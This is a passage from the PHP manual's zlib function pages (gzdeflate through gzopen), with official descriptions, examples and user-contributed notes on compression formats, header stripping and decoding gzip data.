  // NOTE: This may fail with large data sizes depending on how
  //       PHP's integer limitations affect strlen() since $isize
  //       may be negative for large sizes.
  if ($isize != strlen($data) || crc32($data) != $datacrc) {
    // Bad format!  Length or CRC doesn't match!
    return false;
  }
  return $data;
}

?>


Deflate a string

  • ? gzdecode
  • gzencode ?
  • PHP Manual
  • Zlib 函数
  • Deflate a string

gzdeflate

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gzdeflate — Deflate a string

说明

gzdeflate(string $data, int $level = -1, int $encoding = ZLIB_ENCODING_RAW): string|false

This function compresses the given string using the DEFLATE data format.

For details on the DEFLATE compression algorithm see the document "» DEFLATE Compressed Data Format Specification version 1.3" (RFC 1951).

参数

data

The data to deflate.

level

The level of compression. Can be given as 0 for no compression up to 9 for maximum compression. If not given, the default compression level will be the default compression level of the zlib library.

encoding

One of ZLIB_ENCODING_* constants.

返回值

The deflated string or false if an error occurred.

示例

Example #1 gzdeflate() example

<?php
$compressed = gzdeflate('Compress me', 9);
echo $compressed;
?>

参见

  • gzinflate() - Inflate a deflated string
  • gzcompress() - Compress a string
  • gzuncompress() - Uncompress a compressed string
  • gzencode() - Create a gzip compressed string

User Contributed Notes

HUjuice 05-Jan-2016 05:23
The HTTP deflate is quite complicated.
The RFC7230, Sec 4.2.2 (https://tools.ietf.org/html/rfc7230#section-4.2.2) says:
?The "deflate" coding is a "zlib" data format [RFC1950] containing a "deflate" compressed data stream [RFC1951] that uses a combination of the Lempel-Ziv (LZ77) compression algorithm and Huffman coding.?
and, also:
?Note: Some non-conformant implementations send the "deflate" compressed data without the zlib wrapper.?

Since this function implements the RFC1951, the compliant encoding of a $payload should be:

gzcompress(gzdeflate($payload));
banditsmile at qq dot com 19-Dec-2014 08:49
start from php5.4.0 gzdeflate has the fastest speed and best zip rate.
http://3v4l.org/K2XAf
bzbzh 12-Dec-2014 01:21
The "One of ZLIB_ENCODING_* constants." seems to be available only from PHP 5.4.

So I guess that is you are PHP 5.3 you don't use the $encoding parameter...
stockton at wowway dot com 29-Jun-2013 03:30
After some searching and experimentation I found that the output from this function cannot be 'inflated' with the objective c 'zlibInflate' wrapper for 'zlib' that is available at http://cocoadev.com/wiki/NSDataCategory but the output from gzcompress() can be. Thank you "anonymous at php dot net" and "tomas at slax dot org" for the clues. I hope this saves someone else the searching.
robin 26-Feb-2010 05:46
running 50000 repetitions on various content, i found that gzdeflate() and gzcompress() both performed equally fast regardless content and compression level, but gzinflate() was always about twice as fast as gzuncompress().
anonymous at php dot net 04-Jun-2009 05:20
gzcompress produces longer data because it embeds information about the encoding onto the string. If you are compressing data that will only ever be handled on one machine, then you don't need to worry about which of these functions you use. However, if you are passing data compressed with these functions to a different machine you should use gzcompress.
tomas at slax dot org 03-Oct-2008 05:13
gzcompress() is the same like gzdefflate(), it produces identical data and its speed is the same as well. The only difference is that gzcompress produces 6 bytes bigger result (2 extra bytes at the beginning and 4 extra bytes at the end).
giunta dot gaetano at sea-aeroportimilano dot it 21-Aug-2006 05:22
Take care that that "PHP deflate" != "HTTP deflate".

The deflate encoding used in HTTP is actually zlib encoded.

This is what PHP functions return:
gzencode() == gzip
gzcompress() == zlib (aka. HTTP deflate)
gzdeflate()  == *raw* deflate encoding
denis dot noessler at red-at dot de 17-Jun-2003 03:26
if you have compressed data which is greater than 2 MB (system dependent), you will receive a buffer error by calling the function gzinflate().
be sure to to compress your data by a lower compression level, like 1.
i.e.: gzdeflate($sData, 1);


Create a gzip compressed string

  • ? gzdeflate
  • gzeof ?
  • PHP Manual
  • Zlib 函数
  • Create a gzip compressed string

gzencode

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gzencode — Create a gzip compressed string

说明

gzencode(string $data, int $level = -1, int $encoding = ZLIB_ENCODING_GZIP): string|false

This function returns a compressed version of the input data compatible with the output of the gzip program.

For more information on the GZIP file format, see the document: » GZIP file format specification version 4.3 (RFC 1952).

参数

data

The data to encode.

level

The level of compression. Can be given as 0 for no compression up to 9 for maximum compression. If not given, the default compression level will be the default compression level of the zlib library.

encoding

The encoding mode. Can be FORCE_GZIP (the default) or FORCE_DEFLATE.

FORCE_DEFLATE generates RFC 1950 compliant output, consisting of a zlib header, the deflated data, and an Adler checksum.

返回值

The encoded string, or false if an error occurred.

示例

The resulting data contains the appropriate headers and data structure to make a standard .gz file, e.g.:

Example #1 Creating a gzip file

<?php
$data = file_get_contents("bigfile.txt");
$gzdata = gzencode($data, 9);
file_put_contents("bigfile.txt.gz", $gzdata);
?>

参见

  • gzdecode() - Decodes a gzip compressed string
  • gzdeflate() - Deflate a string
  • gzinflate() - Inflate a deflated string
  • gzuncompress() - Uncompress a compressed string
  • gzcompress() - Compress a string
  • » ZLIB Compressed Data Format Specification (RFC 1950)

User Contributed Notes

pang dot lab at gmail dot com 06-Jul-2020 08:44
* Compressing file

function compressFile(string $filePath): ?string
{
    $compressedFile = $filePath.".gz";
    $data     = implode(",", file($filePath));
    $gzdata   = gzencode($data, 9);
    $fp       = fopen($compressedFile, "w");
    $successWrite = fwrite($fp, $gzdata);
    fclose($fp);
    if($successWrite === false) {
        return null;
    }

    return $compressedFile;
}
geompse at gmail dot com 22-Aug-2011 03:24
Had some trouble finding the correct way to send a Content-Length header with HTTP compression.
The pitch is to use gzencode (not gzdeflaten not gzcompress).

<?php

// disable ZLIB ouput compression
ini_set('zlib.output_compression','Off');

// compress data
$gzipoutput = gzencode($output,6);

// various headers, those with # are mandatory
header('Content-Type: application/x-download');
header('Content-Encoding: gzip'); #
header('Content-Length: '.strlen($gzipoutput)); #
header('Content-Disposition: attachment; filename="myfile.name"');
header('Cache-Control: no-cache, no-store, max-age=0, must-revalidate');
header('Pragma: no-cache');

// output data
echo $gzipoutput;

?>
Sam Dowling 06-Jul-2011 07:30
this is a benchmark test of gzencode (.txt file)
----------------------------------------------
original file size = 3.29 MB (3,459,978 bytes)
compress lvl 1 = 1.09 MB (1,144,006 bytes)
compress lvl 2 = 1.06 MB (1,119,518 bytes)
compress lvl 3 = 1.03 MB (1,085,567 bytes)
compress lvl 4 = 953 KB (976,538 bytes)
compress lvl 5 = 909 KB (931,486 bytes)
compress lvl 6 = 910 KB (932,516 bytes)
compress lvl 7 = 910 KB (932,608 bytes)
compress lvl 8 = 910 KB (932,646 bytes)
compress lvl 9 = 910 KB (932,652 bytes)
----------------------------------------------
getmequick at dot com 23-Jan-2009 12:29
NOTE:

doing like this and so on

<?php
  file_put_contents('output.gz', gzencode( file_get_contents('input.file'),9));
?>

(complete file reading)

may cause memory overflow (Fatal error: Allowed memory size of ..), so it's better to read by parts/bytes.
katzlbtjunk at hotmail dot com 30-Apr-2008 01:58
Aaron G. 07-Aug-2004 03:29 posted the excellent function gzdecode() (SEE BELOW)
BUGFIX: Change: if($flags & 1) to ... if($flags & 2)

Unfortunately the function gzencode() does NOT append a CRC! So the previous version worked with output of gzencode but not with output of the gzip program itself.
gazj at nukemodified dot com 14-Apr-2008 05:47
here is my clean up of supaplex %at% pcbkits %d0t% c0m
submission above.

function alt_gzdecode($gzdatadecode) {
  // seed with microseconds since last "whole" second.
  mt_srand((float)microtime()*1000000);
  $eh="/tmp/php-" . md5(mt_rand(0,mt_getrandmax())) . ".gz";
  if(file_exists($eh)){

  $gzf=fopen($eh,"w");
  fwrite($gzf,$gzdatadecode);
  fclose($gzf);

  $gzf = gzopen ($eh, "r");
  $gzdatadecode=gzpassthru($gzf);
  unlink($eh);

  return $gzdatadecode;
  }else{
  return 'File '.$eh.' was not found.';
  }
}
cbrunon at free dot fr 03-Aug-2006 06:52
Correct is:
<?php
  file_put_contents('output.gz', gzencode( file_get_contents('input.file'),9));
?>
tychay at alumni dot caltech dot edu 03-Apr-2002 02:53
The 10 byte string in gzencode is the standard gzip header. The first two bytes (1f 8b) define the return as a gzip file, the third byte (08) means that the body is compressed using the "deflate" algorithm. The rest is padding (00)'s.

Technically, I believe one should check if the third byte is hex 08 and if so strip off the first ten bytes and last four bytes and run inflate on it. The last four bytes are file size and checksum bits.

In practice, you can get away with just stripping the first 10 bytes and running inflate on it.

Hope this helps,

terry
henryk at ploetzli dot ch 14-Feb-2002 06:28
Well, I was looking for a gzdecode too and didn't consider the temporary file example above to be very elegant.
However, as is noted in the very first comment: gzencode() only adds a  10 byte header.

I don't quite know what this header is supposed to be used for, but gzinflate() certainly doesn't like it, so I stripped it off:

function my_gzdecode($string) {
  $string = substr($string, 10);
  return gzinflate($string);
 }

That's useful to read HTTP-Connections that were compressed by mod_gzip.
--
Henryk Pl?tz
Gr??e aus Berlin
mm.. oops? - amendum (yes, tested hehe.) 09-Sep-2001 12:14
function alt_gzdecode($str) {
  // seed with microseconds since last "whole" second
  mt_srand((float)microtime()*1000000);
  $eh="/tmp/php-" . md5(mt_rand(0,mt_getrandmax())) . ".gz";

  $fd=fopen($eh,"w");
  fwrite($fd,$str);
  fclose($fd);

  unset($str);

  $fd = gzopen ($eh, "r");
  while (1==1) {
    $s=gzread($fd,10240);
    if ("$s" == "") {
      break;
    }
    $str=$str . $s;
  }
  unlink($eh);

  return $str;
}
< supaplex %at% pcbkits %d0t% c0m > 08-Sep-2001 11:48
I was almost discouraged when I didn't find a gzdecode() function!  However, fear not, for I'll contribute my work... :)
function alt_gzdecode($str) {
  // seed with microseconds since last "whole" second.
  mt_srand((float)microtime()*1000000);
  $eh="/tmp/php-" . md5(mt_rand(0,mt_getrandmax())) . ".gz";

  $fd=fopen($eh,"w");
  fwrite($fd,$str);
  fclose($fd);

  $fd = gzopen ($eh, "r");
  $str=gzpassthru($fd);
  unlink($eh);

  return $str;
}

It's only ugly point is that it does not check to see if the file already exists.  You may also have to adjust reference names like $str and $fd if they stomp on your code. (Sorry, but this is all you get atm! ;} )  If your conserned about a race condition, cry for a internal gzdecode() function that actualy functions...
I spent about 3 hours straight debugging this problem.  I know the input data was valid, becuase I validated it with MD5() to compare to the md5's I had made of the input data before hand.  I'm not sure whats up with gzuncompress or gzinflate, but this works in its place . . .

Enjoy!


Test for EOF on a gz-file pointer

  • ? gzencode
  • gzfile ?
  • PHP Manual
  • Zlib 函数
  • Test for EOF on a gz-file pointer

gzeof

(PHP 4, PHP 5, PHP 7, PHP 8)

gzeof — Test for EOF on a gz-file pointer

说明

gzeof(resource $stream): bool

Tests the given GZ file pointer for EOF.

参数

stream

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

返回值

Returns true if the gz-file pointer is at EOF or an error occurs; otherwise returns false.

示例

Example #1 gzeof() example

<?php
$gz = gzopen('somefile.gz', 'r');
while (!gzeof($gz)) {
echo gzgetc($gz);
}
gzclose($gz);
?>

User Contributed Notes

Anonymous 11-Nov-2013 11:37
<?php
#fixed example
$gz = gzopen('somefile.gz', 'r');
while ($gz && !gzeof($gz)) {
  echo gzgetc($gz);
}
gzclose($gz);
?>
thomas at poindessous dot com 21-Jun-2007 01:44
Be careful with this example. if gzopen doesn't return a valid handler, gzeof will do a nice loop.


Read entire gz-file into an array

  • ? gzeof
  • gzgetc ?
  • PHP Manual
  • Zlib 函数
  • Read entire gz-file into an array

gzfile

(PHP 4, PHP 5, PHP 7, PHP 8)

gzfile — Read entire gz-file into an array

说明

gzfile(string $filename, int $use_include_path = 0): array|false

This function is identical to readgzfile(), except that it returns the file in an array.

参数

filename

The file name.

use_include_path

You can set this optional parameter to 1, if you want to search for the file in the include_path too.

返回值

An array containing the file, one line per cell, empty lines included, and with newlines still attached, 或者在失败时返回 false.

示例

Example #1 gzfile() example

<?php
$lines = gzfile('somefile.gz');
foreach ($lines as $line) {
echo $line;
}
?>

参见

  • readgzfile() - Output a gz-file
  • gzopen() - Open gz-file

User Contributed Notes

jani at php dot net 21-Nov-2008 10:11
This function is not binary safe. (intentionally, or not, that's the question :)
nb_nonospamm_ at wtal dot de 27-Nov-2005 04:12
In PHP4.4.1 I noticed that gzfile only reads up to 8190 bytes per line. I had a 20K SQL query that was cut into 3 parts - and wondered why the SQL server complained.

Reading an uncompressed file with the file() command works as expected.
The Jedi 28-Jun-2005 06:44
A quicker way to load a gziped file in a string :
<?php
function gzfile_get_contents($filename, $use_include_path = 0)
{
    //File does not exist
    if( !@file_exists($filename) )
    {    return false;    }

    //Read and imploding the array to produce a one line string
   $data = gzfile($filename, $use_include_path);
   $data = implode($data);
   return $data;
}
?>
webmaster at ragnarokonline dot de 13-Jan-2004 11:58
This works similar to gzfile() but it returns the file in a string instead of an array and doesn't write it to stdout compared to readgzfile.

Note: unlike the usual file-functions filesize won't work here, since the length-parameter of gzread refers to the uncompressed length, while filesize returns the size of the compressed file.

<?php
function gzfile_get_contents($filename, $use_include_path = 0) {
    $file = @gzopen($filename, 'rb', $use_include_path);
    if ($file) {
        $data = '';
        while (!gzeof($file)) {
            $data .= gzread($file, 1024);
        }
        gzclose($file);
    }
    return $data;
}
?>


Get character from gz-file pointer

  • ? gzfile
  • gzgets ?
  • PHP Manual
  • Zlib 函数
  • Get character from gz-file pointer

gzgetc

(PHP 4, PHP 5, PHP 7, PHP 8)

gzgetc — Get character from gz-file pointer

说明

gzgetc(resource $stream): string|false

Returns a string containing a single (uncompressed) character read from the given gz-file pointer.

参数

stream

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

返回值

The uncompressed character or false on EOF (unlike gzeof()).

示例

Example #1 gzgetc() example

<?php
$gz = gzopen('somefile.gz', 'r');
while (!gzeof($gz)) {
echo gzgetc($gz);
}
gzclose($gz);
?>

参见

  • gzopen() - Open gz-file
  • gzgets() - Get line from file pointer

User Contributed Notes

There are no user contributed notes for this page.


Get line from file pointer

  • ? gzgetc
  • gzgetss ?
  • PHP Manual
  • Zlib 函数
  • Get line from file pointer

gzgets

(PHP 4, PHP 5, PHP 7, PHP 8)

gzgets — Get line from file pointer

说明

gzgets(resource $stream, ?int $length = null): string|false

Gets a (uncompressed) string of up to length - 1 bytes read from the given file pointer. Reading ends when length - 1 bytes have been read, on a newline, or on EOF (whichever comes first).

参数

stream

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

length

The length of data to get.

返回值

The uncompressed string, or false on error.

更新日志

版本 | 说明
8.0.0 | length is nullable now; previously, the default was 1024.

示例

Example #1 gzgets() example

<?php
$handle = gzopen('somefile.gz', 'r');
while (!gzeof($handle)) {
$buffer = gzgets($handle, 4096);
echo $buffer;
}
gzclose($handle);
?>

参见

  • gzopen() - Open gz-file
  • gzgetc() - Get character from gz-file pointer
  • gzwrite() - Binary-safe gz-file write

User Contributed Notes

divinity76 at gmail dot com 30-Aug-2019 10:49
PS when it encounters and breaks on a newline byte ("\n"), the newline byte itself is not included in the returned string.
04-Aug-2005 11:21
For the above example by VIJAY, using gzgetc would be better, as I've encountered binary/text file incompatibilities (at least with PHP 4.0.4).
prismngp1 at yahoo dot com 10-Aug-2002 05:19
<?
// this is simple code by VIJAY to unzip .gz file
$file = "/absolute/path/to/your/file" ;
$fp = fopen("$file", "w") ;
// file to be unzipped on your server
$filename = "filename.gz" ;
$zp = gzopen($filename, "r");

if ($zp)
{
  while (!gzeof($zp))
  {
    $buff1 = gzgets ($zp, 4096) ;
    fputs($fp, $buff1) ;
  }
}
gzclose($zp) ;
fclose($fp) ;
?>


Get line from gz-file pointer and strip HTML tags

  • ? gzgets
  • gzinflate ?
  • PHP Manual
  • Zlib 函数
  • Get line from gz-file pointer and strip HTML tags

gzgetss

(PHP 4, PHP 5, PHP 7)

gzgetss — Get line from gz-file pointer and strip HTML tags

Warning

本函数已自 PHP 7.3.0 起弃用，自 PHP 8.0.0 起移除。强烈建议不要依赖本函数。

说明

gzgetss(resource $zp, int $length, string $allowable_tags = ?): string

Identical to gzgets(), except that gzgetss() attempts to strip any HTML and PHP tags from the text it reads.

参数

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

length

The length of data to get.

allowable_tags

You can use this optional parameter to specify tags which should not be stripped.

返回值

The uncompressed and stripped string, or false on error.

示例

Example #1 gzgetss() example

<?php
$handle = gzopen('somefile.gz', 'r');
while (!gzeof($handle)) {
$buffer = gzgetss($handle, 4096);
echo $buffer;
}
gzclose($handle);
?>

参见

  • gzopen() - Open gz-file
  • gzgets() - Get line from file pointer
  • strip_tags() - 从字符串中去除 HTML 和 PHP 标签

User Contributed Notes

There are no user contributed notes for this page.


Inflate a deflated string

  • ? gzgetss
  • gzopen ?
  • PHP Manual
  • Zlib 函数
  • Inflate a deflated string

gzinflate

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gzinflate — Inflate a deflated string

说明

gzinflate(string $data, int $max_length = 0): string|false

This function inflates a deflated string.

参数

data

The data compressed by gzdeflate().

max_length

The maximum length of decoded data.

返回值

The original uncompressed data or false on error.

The function will return an error if the uncompressed data is more than 32768 times the length of the compressed input data or, unless max_length is 0, more than the optional parameter max_length.

示例

Example #1 gzinflate() example

<?php
$compressed = gzdeflate('Compress me', 9);
$uncompressed = gzinflate($compressed);
echo $uncompressed;
?>

参见

  • gzdeflate() - Deflate a string
  • gzcompress() - Compress a string
  • gzuncompress() - Uncompress a compressed string
  • gzencode() - Create a gzip compressed string

User Contributed Notes

anonymous at dekho-ji dot com 16-May-2013 11:34
To decode / uncompress the received HTTP POST data in PHP code, request data coming from Java / Android application via HTTP POST GZIP / DEFLATE compressed format

1) Data sent from Java Android app to PHP using DeflaterOutputStream java class and received in PHP as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,2,-4) ) . PHP_EOL  . PHP_EOL;

2) Data sent from Java Android app to PHP using GZIPOutputStream java class and received in PHP code as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,10,-8) ) . PHP_EOL  . PHP_EOL;

From Java Android side (API level 10+), data being sent in DEFLATE compressed format
        String body = "Lorem ipsum shizzle ma nizle";
        URL url = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn = url.openConnection();
        conn.setDoOutput(true);
        conn.setRequestProperty("Content-encoding", "deflate");
        conn.setRequestProperty("Content-type", "application/octet-stream");
        DeflaterOutputStream dos = new DeflaterOutputStream(
                conn.getOutputStream());
        dos.write(body.getBytes());
        dos.flush();
        dos.close();
        BufferedReader in = new BufferedReader(new InputStreamReader(
                conn.getInputStream()));
        String decodedString = "";
        while ((decodedString = in.readLine()) != null) {
            Log.e("dump",decodedString);
        }
        in.close();

On PHP side (v 5.3.1), code for decompressing this DEFLATE data will be
    echo substr($HTTP_RAW_POST_DATA,2,-4);

From Java Android side (API level 10+), data being sent in GZIP compressed format

        String body1 = "Lorem ipsum shizzle ma nizle";
        URL url1 = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn1 = url1.openConnection();
        conn1.setDoOutput(true);
        conn1.setRequestProperty("Content-encoding", "gzip");
        conn1.setRequestProperty("Content-type", "application/octet-stream");
        GZIPOutputStream dos1 = new GZIPOutputStream(conn1.getOutputStream());
        dos1.write(body1.getBytes());
        dos1.flush();
        dos1.close();
        BufferedReader in1 = new BufferedReader(new InputStreamReader(
                conn1.getInputStream()));
        String decodedString1 = "";
        while ((decodedString1 = in1.readLine()) != null) {
            Log.e("dump",decodedString1);
        }
        in1.close();

On PHP side (v 5.3.1), code for decompressing this GZIP data will be
    echo substr($HTTP_RAW_POST_DATA,10,-8);

Useful PHP code for printing out compressed data using all available formats.

$data = "Lorem ipsum shizzle ma nizle";
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzcompress($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzdeflate($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_GZIP))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_DEFLATE))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";

Hope this helps. Please ThumbsUp if this saved you a lot of effort and time.
felix dot klee at inka dot de 27-Feb-2013 10:38
The code below illustrates usage of the second parameter, in particular to protect against fatal out-of-memory errors. It outputs:

1000000
1000000
error

Tested with PHP 5.3 on 32bit Linux.

<?php

function tryToGzinflate($deflatedData, $maxLen = 0) {
  $data = gzinflate($deflatedData, $maxLen);
  if ($data === false)
    echo 'error<br>';
  else
    echo strlen($data).'<br>';
}

// random data:
$data = '';
for ($i = 0; $i < 1000000; $i++)
  $data .= chr(mt_rand(97, 122)); // a-z

$deflatedData = gzdeflate($data);

ini_set('memory_limit', '5M'); // plenty of memory
tryToGzinflate($deflatedData);
tryToGzinflate($deflatedData, strlen($data));

ini_set('memory_limit', '100'); // little memory
tryToGzinflate($deflatedData, 100);
tryToGzinflate($deflatedData); // causes fatal out-of-memory error
?>
akniep at rayo dot info 11-Dec-2012 03:11
Take care when using the optional second parameter $length!
In our tests -at least in certain situations- we were unable to determine the actual use of this parameter, plus, it lead to the script either being unable to inflate compressed data or crash due to memory-problems.

Example:
When trying to inflate the compressed data from a website, we were literally unable to find a value (other than 0) for $length in order to make gzinflate work... while without the second parameter (or setting it to 0) gzinflate worked like a charm:

<?php
// -----------------------------------------------------------------------
// Test 1 works without problems. Memory peak usage: Before inflating: 24.787 kB; after: 24.844 kB.
gzinflate( substr($deflated_body, 10) );

// -----------------------------------------------------------------------
// ALL three of the following tests failed with a warning. Memory peak usage: Before inflating: 24.787 kB; after: 298.262 kB.
gzinflate( substr($deflated_body, 10),       200 * strlen($deflated_body) );
gzinflate( substr($deflated_body, 10),     32768 * strlen($deflated_body) );
gzinflate( substr($deflated_body, 10),     11000 );
gzinflate( substr($deflated_body, 10), 280000000 );    // the PHP memory limit was set to 300MB  (memory_limit=300M)
=>
Warning:  gzinflate() [function.gzinflate]: insufficient memory in [...]

// -----------------------------------------------------------------------
// The last test failed with a fatal error. Memory peak usage: Before inflating: 24.787 kB; after: ? (> 300M).
gzinflate( substr($deflated_body, 10), 300000000 );    // the PHP memory limit was set to 300MB  (memory_limit=300M)
=>
Fatal error:  Allowed memory size of 314572800 bytes exhausted (tried to allocate 300000000 bytes) in
?>

In short: We were unable to determine the actual use of the second parameter in certain situations.
Be careful with using the second parameter $length!
niblett at gmail dot com 07-Jun-2012 02:08
alternative, with detection for optional filename header
<?php
function gzdecode($data) {

        // check if filename field is set in FLG, is 4th byte
        $hex = bin2hex($data);

        $flg = (int)hexdec(substr($hex, 6, 2));

        // remove headers
        $hex = substr($hex, 20);

        $ret = '';
        if (  ($flg & 0x8) == 8 ){
                print "ello";
                for ( $i = 0; $i < strlen($hex); $i += 2 ){
                        $value = substr($hex, $i, 2);
                        if ( $value == '00' ){
                                $ret = substr($hex, ($i+2));
                                break;
                        }
                }
        }
        return gzinflate(pack('H*', $ret));
}
?>
Steven Lustig 05-Nov-2010 09:44
You can use this to uncompress a string from Linux command line gzip by stripping the first 10 bytes:

<?php
$inflatedOutput = gzinflate(substr($output, 10, -8));
?>
vitall at ua dot fm 09-Sep-2009 05:10
The correct function for gzip and chunked data particularly when you get "Content-Encoding: gzip" and "Transfer-Encoding: chunked" headers:

<?php
function decode_gzip($h,$d,$rn="\r\n"){
if (isset($h['Transfer-Encoding'])){
 $lrn = strlen($rn);
 $str = '';
 $ofs=0;
 do{
    $p = strpos($d,$rn,$ofs);
    $len = hexdec(substr($d,$ofs,$p-$ofs));
    $str .= substr($d,$p+$lrn,$len);
     $ofs = $p+$lrn*2+$len;
 }while ($d[$ofs]!=='0');
 $d=$str;
}
if (isset($h['Content-Encoding'])) $d = gzinflate(substr($d,10));
return $d;
}
?>

Enjoy!
John 12-Jun-2008 10:22
And when retrieving mod_deflate gzip'ed content and using gzinflate() to decode the data, be sure to strip the first 11 chars from the retrieved content.

<?php $dec = gzinflate(substr($enc,11)); ?>
patatraboum at free dot fr 24-Aug-2007 10:57
Some gz string strip header and return inflated
It actualy processes some first member of the gz
See rfc1952 at http://www.faqs.org/rfcs/rfc1952.html for more details and improvment as gzdecode

<?php
function gzBody($gzData){
    if(substr($gzData,0,3)=="\x1f\x8b\x08"){
        $i=10;
        $flg=ord(substr($gzData,3,1));
        if($flg>0){
            if($flg&4){
                list($xlen)=unpack('v',substr($gzData,$i,2));
                $i=$i+2+$xlen;
            }
            if($flg&8) $i=strpos($gzData,"\0",$i)+1;
            if($flg&16) $i=strpos($gzData,"\0",$i)+1;
            if($flg&2) $i=$i+2;
        }
        return gzinflate(substr($gzData,$i,-8));
    }
    else return false;
}
?>
spikeles_ at hotmail dot com 01-Nov-2006 08:12
This can be used to inflate streams compressed by the Java class java.util.zip.Deflater but you must strip the first 2 bytes off it. ( much like the above comment )

<?php $result = gzinflate(substr($compressedData, 2)); ?>
boris at gamate dot com 08-Jul-2003 05:49
When retrieving mod_gzip'ed content and using gzinflate() to decode the data, be sure to strip the first 10 chars from the retrieved content.

<?php $dec = gzinflate(substr($enc,10)); ?>


Open gz-file

  • ? gzinflate
  • gzpassthru ?
  • PHP Manual
  • Zlib 函数
  • Open gz-file

gzopen

(PHP 4, PHP 5, PHP 7, PHP 8)

gzopen — Open gz-file

说明

gzopen(string $filename, string $mode, int $use_include_path = 0): resource|false

Opens a gzip (.gz) file for reading or writing.

gzopen() can be used to read a file which is not in gzip format; in this case gzread() will directly read from the file without decompression.

参数

filename

The file name.

mode

As in fopen() (rb or wb) but can also include a compression level (wb9) or a strategy: f for filtered data as in wb6f, h for Huffman only compression as in wb1h. (See the description of deflateInit2 in zlib.h for more information about the strategy parameter.)

use_include_path

You can set this optional parameter to 1, if you want to search for the file in the include_path too.

返回值

Returns a file pointer to the file opened, after that, everything you read from this file descriptor will be transparently decompressed and what you write gets compressed.

If the open fails, the function returns false.

示例

Example #1 gzopen() Example

<?php
$fp = gzopen("/tmp/file.gz", "r");
?>

参见

  • gzclose() - Close an open gz-file pointer

User Contributed Notes

chasjfish at gmail dot com 07-Mar-2019 06:58
There is an active feature request for an xzopen function. The xz program uses the LZMA algorithm for much higher compression ratios than gzip.

Until such time that xzopen might be available, here is my best design for safely reading .xz files which originate remotely and are not trusted.

Below is a CSV log viewer - there is a lot going on here, so I will explain it below:

<?

$PRG_NAME = basename($_SERVER['PHP_SELF'], '.php');
$PRG_LEN = strlen($PRG_NAME);

if(substr($z = $_GET['CSV'], 0, $PRG_LEN) == $PRG_NAME)
{
 header('content-type:application/csv;CHARSET=gb2312');
 header('Content-Disposition:attachment;filename="' .
   $_GET['CSV'] . '.csv"');

 if('.xz' == substr($z, -3))
 {
        $tmpfname = tempnam("/tmp", "php-log-viewer");
        $fpx = fopen($tmpfname, 'w');
        fprintf($fpx, "/var/app/log/%s\0", $z);
        fclose($fpx);

        $fp = popen("xz -cd --files0=" . $tmpfname, 'r');
 }
 else   $fp = fopen('/var/app/log/' . $z, 'r');

 while($line = fgets($fp))
  echo '"' . preg_replace('/[~]/', '","', rtrim($line)) . "\"\n";

 fclose($fp); if(is_file($tmpfname)) unlink($tmpfname); exit;
}

?>

The logs are tilde-delimited files (~) in the /var/app/log directory which the code above converts to CSV and injects into Excel. They are regularly compressed by cron, but the latest logs will be uncompressed text files. A separate section of my code (not included here) presents them via opendir()/readdir()/stat().

The file prefix that the viewer will allow the user to see is determined by the name of the script - if I name it FTP-LOG.php, then any file beginning with /var/app/log/FTP-LOG can be read. I am enabling the viewer for different prefixes by making hard links to the script.

Since the log might not (yet) be compressed, I check the extension - if .xz is detected, then the gymnastics begin.

It is not safe to pass form content from remote users to a UNIX shell, and I am trying to avoid this. Fortunately, xz has the --files and --files0 options, and I create a temporary filename, record the file of interest in it, then open an xz process for reading (otherwise, a simple fopen() will suffice). Recording a \0 allows safer processing of files with embedded newlines (which is allowed by POSIX), and is immediately familiar to fans of "find -print0" and "xargs -0".

Unfortunately, neither bzip2 nor lzip have have a --files[0] option. It is quite useful in this case, and appears to improve security.
dj8 at joesvolcano dot net 11-Sep-2015 02:17
An OO-version of David Gero's excellent GZ File format note also on this page:

<?php

// David Gero's example: read a file and output GZ
$gz_to_out = new GZTempFile(basename($file), "php://output");
$fin = fopen($file, "rb");
while($data = fread($fin, 64 * 1024)) {
    $gz_to_out->fwrite();
}
close($fin);
$gz_to_out->flushBuffer();

// Example of building your GZ file content on the fly (temp filehandle)
$gz_custom = new GZTempFile();
foreach ( ... ) {
    //  Some work
    $str = ...

    $gz_custom->fwrite($str);
}
//  Store it in a database
$m = new MongoClient();
$gridfs = $m->selectDB('test')->getGridFS();
$id = $gridfs->storeFile($gz_custom->getReadFilehandle(), array('contentType' => 'application/x-gzip'));

class GZTempFile {
    private $__fh = null;
    public $uncompressed_bytes = 0;
    public $filesize = null;
    private $gz_filter = null;
    private $file_hash = null;
    private $final_read_fh = false;
    private $__buffer = '';
    private $__buffer_len = 0;

    public function __construct($filename = 'data', $fh = null) {
        $this->__fh = is_null($fh) ? fopen('php://temp','w+') : $fh;
        fwrite($this->__fh, "\x1F\x8B\x08\x08".pack("V", time())."\0\xFF", 10); // GZ file header
        fwrite($this->__fh, str_replace("\0", "", basename($filename)) ."\0");  // GZ filename = data, needed???
        $this->gz_filter = stream_filter_append($this->__fh, "zlib.deflate", STREAM_FILTER_WRITE, -1);
        $this->uncompressed_bytes = 0;
        $this->file_hash = hash_init("crc32b");
    }

    public function fwrite($str,$length = null) {
        if ( $this->final_read_fh ) { throw new Exception("GZTempFile has already been finalized and closed.  No more writing"); }
        hash_update($this->file_hash, $str);
        $this->uncompressed_bytes += strlen($str);
        $this->__buffer_len += strlen($str);
        $this->__buffer .= $str;
        if ( $this->__buffer_len >= 64 * 1024 ) { $this->flushBuffer(); }
    }
    public function flushBuffer() {
